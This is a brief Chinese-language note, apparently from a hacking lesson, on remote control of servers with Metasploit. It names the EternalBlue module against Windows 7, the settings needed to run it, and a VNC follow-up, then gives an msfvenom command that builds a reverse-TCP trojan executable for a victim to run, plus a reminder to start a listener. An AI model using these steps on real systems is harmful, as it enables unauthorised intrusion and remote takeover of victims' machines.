远程控制服务器权限
中文版切换
1.metasploit简介及基础使用
win7大概率存在一个漏洞:永恒之蓝
win10:永恒之黑
攻击条件:
攻击机器:kali
目标机器:win7
目标服务器的地址:1.直接在机器上ipconfig
2.在同意网段使用nmap扫描
攻击机器进入操作台:
进入root后输入metasploit
三步完成攻击:
use exploit/windows/smb/ms17_010_eternalblue
show options
rhosts:攻击地址
payload:攻击载荷
lhosts:监听主机设置
设置必选项
最后启动运行
想通过run vnc
做桌面要将权限从超级用户变为用户
操作成功后
不通过漏洞来获得系统权限
1.生成木马
windows
也可改为linux
msfvenom -p windows/x64/eterpreter/reverse_tcp lhost= lport= -f exe -o demo.exe
然后会生成一个木马,同CS直接让目标机器运行
还要记得开启监听